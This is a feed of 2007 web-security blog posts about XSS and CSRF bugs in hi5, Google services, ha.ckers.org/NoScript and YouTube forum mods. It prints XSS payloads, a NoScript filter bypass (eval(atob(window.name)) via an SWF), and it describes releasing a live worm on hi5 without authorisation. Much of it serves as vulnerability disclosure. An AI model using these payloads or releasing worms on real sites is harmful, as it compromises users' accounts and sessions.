xmlns:app="http://www.w3.org/2007/app">2009-02-04T04:43:09.356-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><title>Making a Social Network XSS Worm (hi5.com)</title><content type="html">Well, the last couple of days I've been playing with hi5.&lt;br /&gt;&lt;br /&gt;It's pretty cool, and I found a couple of XSS vulnerabilities.&lt;br /&gt;&lt;br /&gt;I reported them to help@hi5.com, security@hi5.com, admin@hi5.com and all the e-mails I found on the domain hi5.com.&lt;br /&gt;&lt;br /&gt;Well, they didn't responded.&lt;br /&gt;&lt;br /&gt;So, there's a XSS Worm for hi5 on the wild.&lt;br /&gt;&lt;br /&gt;The worm is on the following profile (if you visit it throught this domain you wont get infected, the problem lies if you visit it through &lt;a href="http://www.hi5.com/friend/profile/displayProfile.do?userid=177612560"&gt;www.hi5.com&lt;/a&gt; domain):&lt;br /&gt;&lt;br /&gt;&lt;a href="http://xssworm.hi5.com/"&gt;http://xssworm.hi5.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I'll alert you that the profile may be deleted by hi5 staff at any time.&lt;br /&gt;&lt;br /&gt;I'll give an explanation on how this worm works as soon as it's controlled by the hi5 team, since it doesn't use XHR.. and some people asked me on the past if it is possible to do a worm without XHR.&lt;br /&gt;&lt;br /&gt;To the hi5 team: there are a lot of vulnerabilities on your website, if you wish, I could help you with them, just respond the freaking e-mails.&lt;br /&gt;&lt;br /&gt;cya!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;UPDATE&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;I've finally been contacted by the hi5 team, we are working on solving the XSS &amp;amp; CSRF vulnerabilties.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-6793438962645490883?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/B_jFR3ESy4C3SjQxsQd1XlhzggU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/B_jFR3ESy4C3SjQxsQd1XlhzggU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/B_jFR3ESy4C3SjQxsQd1XlhzggU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/B_jFR3ESy4C3SjQxsQd1XlhzggU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/SyQh6rZ1NJE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/6793438962645490883/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2007/12/making-social-network-xss-worm-hi5com.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/6793438962645490883?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/6793438962645490883?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/SyQh6rZ1NJE/making-social-network-xss-worm-hi5com.html" title="Making a Social Network XSS Worm (hi5.com)" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2007/12/making-social-network-xss-worm-hi5com.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0cGRH86fyp7ImA9WB9VEUo.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-1450053226743729541</id><published>2007-11-21T12:31:00.000-06:00</published><updated>2007-11-27T07:43:45.117-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-11-27T07:43:45.117-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="firefox" /><category scheme="http://www.blogger.com/atom/ns#" term="iexporer" /><category scheme="http://www.blogger.com/atom/ns#" term="opera" /><category scheme="http://www.blogger.com/atom/ns#" term="html" /><category scheme="http://www.blogger.com/atom/ns#" term="css" /><title>CSK2 and CSS Applications</title><content type="html">This week, I've sort of improoved the &lt;a href="http://www.businessinfo.co.uk/labs/css_scripting_kit/css_scripting_kit.php"&gt;CSK&lt;/a&gt; of &lt;a href="http://www.thespanner.co.uk/"&gt;Gareth Heyes&lt;/a&gt;, with a few more event handlers, and interoperability with Opera (and menus!!).&lt;br /&gt;&lt;br /&gt;This new version is over here:&lt;br /&gt;&lt;a href="http://www.sirdarckcat.net/csk2.html"&gt;http://www.sirdarckcat.net/csk2.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Anyway, with the research I did, I also found the bast world of possibilities implied on CSS.&lt;br /&gt;&lt;br /&gt;Starting from the CSK2, I've developed &lt;a href="http://www.sirdarckcat.net/cskg.html"&gt;a game made in CSS&lt;/a&gt; with no javascript (anyway, you can only play once).. which currently works on all browsers, except from IExplorer.&lt;br /&gt;&lt;br /&gt;I also used this knowledge gathered, to make my final project on the university (it was just making a website.. haha): &lt;a href="http://da-vinci.awardspace.com/"&gt;http://da-vinci.awardspace.com/&lt;/a&gt; this works just on firefox (don't tell my teacher, :P)&lt;br /&gt;&lt;br /&gt;On some other news, &lt;a href="http://p42.us/"&gt;thornmaker&lt;/a&gt; and I, where trying to proof that CSS + HTML is &lt;a href="http://en.wikipedia.org/wiki/Turing-complete"&gt;Turing Complete&lt;/a&gt;, anyway, since we dont have a way to make real loops (evendo we had some ideas about including bindings that include themselves until a condition is made, that could work as recurtion), it "appears" that CSS+HTML is NOT Turing Complete.. anyway, I'll continue investigating to be sure.&lt;br /&gt;&lt;br /&gt;Greetz!!&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-1450053226743729541?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/blzZ7THamOlOxWtfGyb9V3YbQvQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/blzZ7THamOlOxWtfGyb9V3YbQvQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/blzZ7THamOlOxWtfGyb9V3YbQvQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/blzZ7THamOlOxWtfGyb9V3YbQvQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/_7llhU3t5EQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/1450053226743729541/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2007/11/csk2-and-css-applications.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/1450053226743729541?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/1450053226743729541?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/_7llhU3t5EQ/csk2-and-css-applications.html" title="CSK2 and CSS Applications" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2007/11/csk2-and-css-applications.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0MDRXc5eip7ImA9WB9XFks.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-4836911320172947592</id><published>2007-11-08T17:33:00.000-06:00</published><updated>2007-11-09T22:37:54.922-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-11-09T22:37:54.922-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="firefox" /><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><title>Inside History of hacking rsnake for fun and pagerank.</title><content type="html">Well the research made for the exploit for the joke for rsnake is sort of interesting, so I'll try to explain what was needed (even do it was unsuccesfull).&lt;br /&gt;&lt;br /&gt;This was made with the help of the research made by the members of &lt;a href="http://sla.ckers.org/"&gt;sla.ckers&lt;/a&gt; like &lt;a href="http://www.ush.it/"&gt;ascii&lt;/a&gt;, &lt;a href="http://www.thespanner.co.uk/"&gt;gareth heyes&lt;/a&gt;, &lt;a href="http://ha.ckers.org/"&gt;rsnake&lt;/a&gt;, &lt;a href="http://jeremiahgrossman.blogspot.com/"&gt;Jeremiah Grossman&lt;/a&gt;, &lt;a href="http://www.p42.us/"&gt;thornmaker&lt;/a&gt;, &lt;a href="http://www.wisec.it"&gt;Wisec&lt;/a&gt;, &lt;a href="http://kuza55.blogspot.com/"&gt;kuza55&lt;/a&gt; and &lt;a href="http://sirdarckcat.blogspot.com/"&gt;me&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;It exploited a bug and a feature from ha.ckers.org:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;bug: &lt;a href="http://ha.ckers.org/xss.swf"&gt;http://ha.ckers.org/xss.swf&lt;/a&gt;&lt;/li&gt;&lt;li&gt;feature: &lt;a href="http://ha.ckers.org/blog/wp-admin/anything"&gt;http://ha.ckers.org/blog/wp-admin/anything&lt;/a&gt; is protected to everyone besides rsnake and id IPs.&lt;/li&gt;&lt;/ul&gt;And a feature from Firefox:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;feature: &lt;a href="http://developer.mozilla.org/en/docs/CSS:Getting_Started:XBL_bindings"&gt;XBL bindings&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Some bugs from NoScript:&lt;ul&gt;&lt;li&gt;XBL Frame Injection to bypass NoScript IFrame protection.&lt;/li&gt;&lt;li&gt;setter/name NoScript anti XSS filter bypass.&lt;/li&gt;&lt;/ul&gt;    (&lt;a href="http://noscript.net/changelog"&gt;this bugs have been patched since version 1.1.7.8 of NoScript&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;You can read the comments from Robert Hansen, and Giorgio Maone about this exploit at &lt;a href="http://ha.ckers.org/blog/20071104/owning-hackersorg-or-not/"&gt;ha.ckers.org&lt;/a&gt; and &lt;a href="http://hackademix.net/2007/11/05/youngsters/"&gt;hackademix.net&lt;/a&gt; (oh jeremiah grossman also talked about this &lt;a href="http://jeremiahgrossman.blogspot.com/2007/11/whole-lot-of-web-hacking-going-on.html"&gt;here&lt;/a&gt; and &lt;a href="http://buhera.blog.hu/2007/11/06/hirek_a_blogvilagbol"&gt;some&lt;/a&gt; &lt;a href="http://websecurity.com.ua/1519/"&gt;others&lt;/a&gt; in langs that I dont understand).&lt;br /&gt;&lt;br /&gt;The only thing the exploit required was that &lt;a href="http://ha.ckers.org/blog/about"&gt;rsnake&lt;/a&gt; had &lt;a href="http://ha.ckers.org/"&gt;ha.ckers.org&lt;/a&gt; white-listed on &lt;a href="http://www.noscript.net/"&gt;NoScript&lt;/a&gt;, but it didn't succeed for that and some other secret reasons.&lt;br /&gt;&lt;br /&gt;For targeting the exploit just for rsnake, and hiding it from other persons, we did 3 things.&lt;br /&gt;&lt;br /&gt;First we checked if rsnake had &lt;a href="http://ha.ckers.org/blog/wp-admin/post-new.php"&gt;ha.ckers.org/blog/wp-admin/post-new.php&lt;/a&gt; on his history via &lt;a href="http://ha.ckers.org/weird/CSS-history.cgi"&gt;CSS History check without javascript&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;If this was unsuccesfull because of the "&lt;a href="http://ha.ckers.org/blog/20060926/safehistory-stops-css-history-hack/"&gt;SafeHistory&lt;/a&gt;" plugin, or any other reason, we checked if his IP had access to &lt;a href="http://ha.ckers.org/blog/wp-admin/wp-admin.css"&gt;ha.ckers.org/blog/wp-admin/wp-admin.css&lt;/a&gt; stylesheet, if he had, we would try to exploit it.&lt;br /&gt;&lt;br /&gt;For doing that we played with display:block/display:none properties of iframes, but in the case that rsnake had &lt;a href="http://sla.ckers.org/forum/read.php?13,15701"&gt;NoScript iframe protection enabled&lt;/a&gt;, then the exploit would be unsuccesfull, so we added a -moz-binding, for detecting NoScript presence, and replacing it with a frameset/frame.&lt;br /&gt;&lt;br /&gt;With that, we just redirected rsnake to &lt;a href="http://www.sirdarckcat.net/blah2.html"&gt;the payload&lt;/a&gt;, the problem was that &lt;a href="http://ha.ckers.org/blog/20070320/noscript-plugin-beta-attempts-to-stop-xss/"&gt;NoScript detects reflected XSS attacks&lt;/a&gt;, so we needed to find a way to bypass it, and we did.. (&lt;a href="http://ha.ckers.org/xss.swf?a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;"&gt;http://ha.ckers.org/xss.swf?a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;That in un-obfuscated code is:&lt;br /&gt;&lt;br /&gt;eval(atob(window.name)).&lt;br /&gt;&lt;br /&gt;atob=decode base64.&lt;br /&gt;&lt;br /&gt;The reason this bug works was a mistery at the begining, but after &lt;a href="http://www.wisec.it"&gt;Wisec&lt;/a&gt; re-constructed the as2 bytecode he saw that there where some variables appending to the url, and then after some more research this is the reason this guys found out (explained by kuza55):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;span style="color:#666666;"&gt;the Flash file looked like this:&lt;br /&gt;&lt;br /&gt;getURL("javascript:('XSS')", "_self", "GET");&lt;br /&gt;stop();&lt;br /&gt;&lt;br /&gt;That third parameter turned out to be the key (though we only found this by an absolute fluke), initially we just assumed that the third parameter was just saying it should be a GET request, but the third argument does more actually:&lt;br /&gt;&lt;br /&gt;[&lt;a href="http://www.adobe.com/support/flash/action_scripts/actionscript_dictionary/actionscript_dictionary377.html"&gt;www.adobe.com&lt;/a&gt;]&lt;br /&gt;&lt;br /&gt;getURL(url [, window [, "variables"]])&lt;br /&gt;&lt;br /&gt;[snip]&lt;br /&gt;&lt;br /&gt;variables: A GET or POST method for sending variables. If there are no variables, omit this parameter. The GET method appends the variables to the end of the URL, and is used for small numbers of variables. The POST method sends the variables in a separate HTTP header and is used for sending long strings of variables.&lt;br /&gt;&lt;br /&gt;Now, seeing as in AS2, all variables which are passed on the URL are imported into the global scope (like register_globals), we get it sent with the request. Now seeing as there was no semi-colon at the end of the first argument, we were able to abuse the fact that the ? is not only the thing separating the variables in the URL from the file, but it is also the javascript ternary operator.&lt;br /&gt;&lt;br /&gt;So we simply used this to finish off a valid statement using the &lt;a href="http://en.wikipedia.org/wiki/%3F:"&gt;ternary operator&lt;/a&gt;, and then specified our XSS.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The window.name trick doesn't require a javascript doing window.name="payload".. it required just a frame named as we wanted.. (&lt; iframe name="payload"&gt;) since NoScript strips any char matching [^a-z0-9_\-] with space in window.name, then we needed to encode the payload in base64 and remove all the "+" and "/" chars of it via whitespacing where they where shown.&lt;br /&gt;&lt;br /&gt;So, &lt;a href="http://ha.ckers.org/blog/20071029/owasp-new-jersey/#comments"&gt;we posted a comment&lt;/a&gt; with &lt;a href="http://ultimatehxr.googlepages.com/httpresponsespliting.html"&gt;a link&lt;/a&gt; that may attract the attention of rsnake when moderating the comments, and we only needed to wait..&lt;br /&gt;&lt;br /&gt;Then, we saw the anti-climax.. the comment was aprooved, and the payload wasnt triggered.. lol (hey spammers)&lt;br /&gt;&lt;br /&gt;So we did another post, now with a link that appeared to be spam, and we did..&lt;br /&gt;&lt;a href="http://owaspnj.blogspot.com/"&gt;http://owaspnj.blogspot.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Any way, that comment wasnt aprooved, and the exploit in there (that was clearly more hidden than the ultimatehxr.googlepages.com) was not necessary.&lt;br /&gt;&lt;br /&gt;So you can see the exploit here (it's commented :D):&lt;br /&gt;&lt;a href="http://www.sirdarckcat.net/blah2.html"&gt;&lt;br /&gt;http://www.sirdarckcat.net/blah2.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;if you want to know what's &lt;a href="http://www.sirdarckcat.net/blah1.html"&gt;blah1.html&lt;/a&gt;, it's just how we where trying to detect the wp-admin.css.&lt;br /&gt;&lt;br /&gt;The last thing is to explain the functionment of the payload.&lt;br /&gt;&lt;br /&gt;1.- via XMLHttpRequest, it asked for /post-new.php source code.&lt;br /&gt;2.- it created an iframe, and writted inside that iframe the source code with a.. "&lt;  base target="/wp-admin"&gt;"&lt;br /&gt;3.- Then he submited the first form modifying the title, content, and tags fields, and clicking on publish (yeah we wanted the payload to had tags).&lt;br /&gt;4.- And that was all, no RegEx.match for finding nonces, and nothing :P..&lt;br /&gt;&lt;br /&gt;You can see the content of the post as it would appear if the exploit suceeded here:&lt;br /&gt;&lt;a href="http://rsnakex.wordpress.com/"&gt;http://rsnakex.wordpress.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Greetz!!&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-4836911320172947592?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/jTfsAIHwnf9VdtTyKa8l1MpYkF8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jTfsAIHwnf9VdtTyKa8l1MpYkF8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/jTfsAIHwnf9VdtTyKa8l1MpYkF8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jTfsAIHwnf9VdtTyKa8l1MpYkF8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/Qzv6MJ9TgiQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/4836911320172947592/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2007/11/inside-history-of-hacking-rsnake-for.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/4836911320172947592?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/4836911320172947592?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/Qzv6MJ9TgiQ/inside-history-of-hacking-rsnake-for.html" title="Inside History of hacking rsnake for fun and pagerank." /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2007/11/inside-history-of-hacking-rsnake-for.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEADQng8eyp7ImA9WB9RE00.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-305066855553989293</id><published>2007-10-13T13:41:00.001-05:00</published><updated>2007-10-13T14:12:53.673-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-10-13T14:12:53.673-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="google" /><title>Vulns of Google that where, and are not?</title><content type="html">Well, this are the bugs at Google services that even do are fixed now, where around for a while.&lt;br /&gt;&lt;br /&gt;First I have to say that the Google Security Team (yeah, that sounds like a hacking team xD), responded very well and quickly many times the same day, or 1 day after the report.&lt;br /&gt;&lt;br /&gt;In an exchange of 35 mails (give or take), between each other, the following vulnerabilities where reported and fixed:&lt;br /&gt;&lt;br /&gt;1.- XSS at GWT/MDP &lt; &lt;a href="http://www.google.com/gwt/mdp/x/en/detect/1?manually=true&amp;amp;brand=sirdackcat&amp;amp;model=sirdarckcat.net%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E" target="_blank" onclick="return top.js.OpenExtLink(window,event,this)"&gt; http://www.google.com/gwt/mdp&lt;wbr&gt;/x/en/detect/1?manually=true&lt;wbr&gt;&amp;amp;brand=sirdackcat&amp;amp;model&lt;wbr&gt;=sirdarckcat.net%3Cscript&lt;wbr&gt;%3Ealert(document.cookie);%3C&lt;wbr&gt;/script%3E&lt;/a&gt; &gt;&lt;br /&gt;&lt;br /&gt;The response to this mail had the following signature:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;Erik, Google Security Team&lt;br /&gt;NOTE: This message was sent by a human.&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;:P r0cks&lt;br /&gt;the vulnerability was reported on July 27, and fixed on August 4.&lt;br /&gt;&lt;br /&gt;2.- A CSRF+XSS vuln in Google Pages + Google Apps For Your Domain&lt;br /&gt;&lt;code&gt;&lt;br /&gt;1.- You need to make your victim log in into the attacker GoogleAppsForYourDomain (google pages) account.. to do that is not difficult.. you can make a simple script that submits a form the same way:&lt;br /&gt;&lt;a href="https://www.google.com/a/" target="_blank" onclick="return top.js.OpenExtLink(window,event,this)"&gt;https://www.google.com/a/&lt;/a&gt; DOMAIN /ServiceLogin&lt;br /&gt;it's important to take into consideration, that the attacker will reveal the user and password (of his googleappsforyourdomain account) to the victim.&lt;br /&gt;&lt;br /&gt;2.- Once your victim is logged in, you make your victim to go to a "preview" cached version of a page that has a script.. and that's all.&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;It sounds difficult, but it wasn't, the preview page could be reached with just 1 token that was revealed at signing up proccess.&lt;br /&gt;&lt;br /&gt;Well, that one was reported on August 19 and fixed on September 4&lt;br /&gt;&lt;br /&gt;Then, the same day, there was another one, now in the edition page.&lt;br /&gt;3.- Another XSS+CSRF vuln in Google Pages + Google Apps For Your Domain.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;In an unpublished page, add this code:&lt;br /&gt; iframe src="javascript:alert(123);"&gt;&lt; /iframe &gt;&lt;br /&gt;&lt;br /&gt;and then when you leave the site the code will be executed, and every time someone enters to that page..(or leaves) this could also be used to attack GoogleApps pages, when there is more than 1 admin.&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Well, this one had a PoC, and was pretty cool :P, but it had some usernames and passwords, so if I release it, then the PoC wont last a second.. ¬¬&lt;br /&gt;&lt;br /&gt;4.- Data Spoofing at Google Analytics.&lt;br /&gt;Well this one is still "live", so I wont get on many details.&lt;br /&gt;An attacker can make someone using Google Analytics beleive, that they came from your site (referrer), even if they haven't, they can make them change the URL of the report of activities on certain user, and a lot of cool stuff that are based on this.&lt;br /&gt;&lt;br /&gt;5.- Google Mashups, XSS and Design Flaw.&lt;br /&gt;lol, I've already reported this one &lt;a href="http://sirdarckcat.blogspot.com/2007/09/google-mashups-vulnerability.html"&gt;here&lt;/a&gt;.. the XSS doesn't exist anymore, and the Design Flaw wont be fixed.&lt;br /&gt;&lt;br /&gt;6.- Youtube redirection?&lt;br /&gt;Is not a vulnerability on youtube, but in some plugins, that abuse it.. &lt;a href="http://sirdarckcat.blogspot.com/2007/09/universal-youtube-mods-xss-explained-in.html"&gt;here it is&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;7.- More cool stuff still about to be patched.&lt;br /&gt;yeah, well, there are a few other vulns that will probably get fixed in the following weeks :P&lt;br /&gt;&lt;br /&gt;For the guys that  have asked me on the past, "why do you do this for free"? well, thats because.. it's like a hobby, I use google a lot, and I am curious.. I have a very cool &lt;a href="http://www.sirdarckcat.net/ev_0004.jpg"&gt;Google T-Shirt&lt;/a&gt;, and well, maybe in the future I can make my name appear &lt;a href="http://www.google.com/corporate/security.html"&gt;over here&lt;/a&gt;..&lt;br /&gt;&lt;br /&gt;Greetz!!&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-305066855553989293?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2PRYU8MJEoLD9Cubb8_XMjzXZNM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2PRYU8MJEoLD9Cubb8_XMjzXZNM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/2PRYU8MJEoLD9Cubb8_XMjzXZNM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2PRYU8MJEoLD9Cubb8_XMjzXZNM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/4nJoE_ijCWo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/305066855553989293/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2007/10/vulns-of-google-that-where-and-are-not.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/305066855553989293?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/305066855553989293?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/4nJoE_ijCWo/vulns-of-google-that-where-and-are-not.html" title="Vulns of Google that where, and are not?" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>2</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2007/10/vulns-of-google-that-where-and-are-not.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0MCQHo9fCp7ImA9WB9aEEg.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-7861122958728912419</id><published>2007-09-30T14:01:00.000-05:00</published><updated>2007-12-30T15:51:01.464-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-12-30T15:51:01.464-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="google" /><title>Universal youtube mods XSS explained in 7 steps</title><content type="html">Well, I want to explain first, this was not my idea, someone at &lt;a href="irc://irc.irchighway.net/#slackers"&gt;irc.irchighway.net/#slackers&lt;/a&gt; discussed about this a while ago, but he wasn't able to find a redirection URL at &lt;a href="http://www.youtube.com/"&gt;youtube&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;A couple of days ago I found such URL, and now I can't remember who was he, please if you read this, send me an e-mail to modify this post for the credits.&lt;br /&gt;&lt;br /&gt;[[ UPDATE ]] kuza55 found out that Kyran was the one to come with the idea [[ /UPDATE ]]&lt;br /&gt;&lt;br /&gt;Well, discusing this with the guys at &lt;a href="http://www.w4ck1ng.com/"&gt;w4ck1ng&lt;/a&gt; it appears that the vulnerability is rather complex to understand.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;First, we know that if we can embed a flash movie into a site, we can make XSS attacks, by means of getURL("javascript:code_here");&lt;/li&gt;&lt;li&gt;Second, we know that we cant embed any arbitrary movie into any forum (at least not by default).&lt;/li&gt;&lt;li&gt;Third, we know there are thousands of forums that have Youtube mods instaled, so their users can link to movies, and watch them without leaving the site.&lt;/li&gt;&lt;li&gt;Fourth, the mods for youtube (at least the ones I found) have no regular expressions for validating that the video linked is valid, and they do: &lt;code&gt;http://www.youtube.com/v/{param_here}&lt;/code&gt; thinking, that in such way an attacker wont be able to change the domain.&lt;/li&gt;&lt;li&gt;Fifth, Youtube doesn't have any visible redirection URL that forwards to an arbitrary site, so if you found a redirection page, you could do.. &lt;code&gt;http://www.youtube.com/v/../redirection?page=http://your.swf.exploit/&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Sixth, the redirection page inside youtube is http://www.youtube.com/confirm_email?next=http://new.url/&lt;/li&gt;&lt;li&gt;Seventh, using step 4, 5 and 6 the exploit is like this: &lt;code&gt;[youtube=1,1]../confirm_email?next=http://exploit.com/swf[/youtube]&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;Well, I think that's all.. the easiest way of patching this vulnerability is simply adding a allowScriptAcces="never" in the object tag of your mod.. anyway, attackers will still be able to redirect to their movies, for stopping that you need to make a regular expression that matches the input with 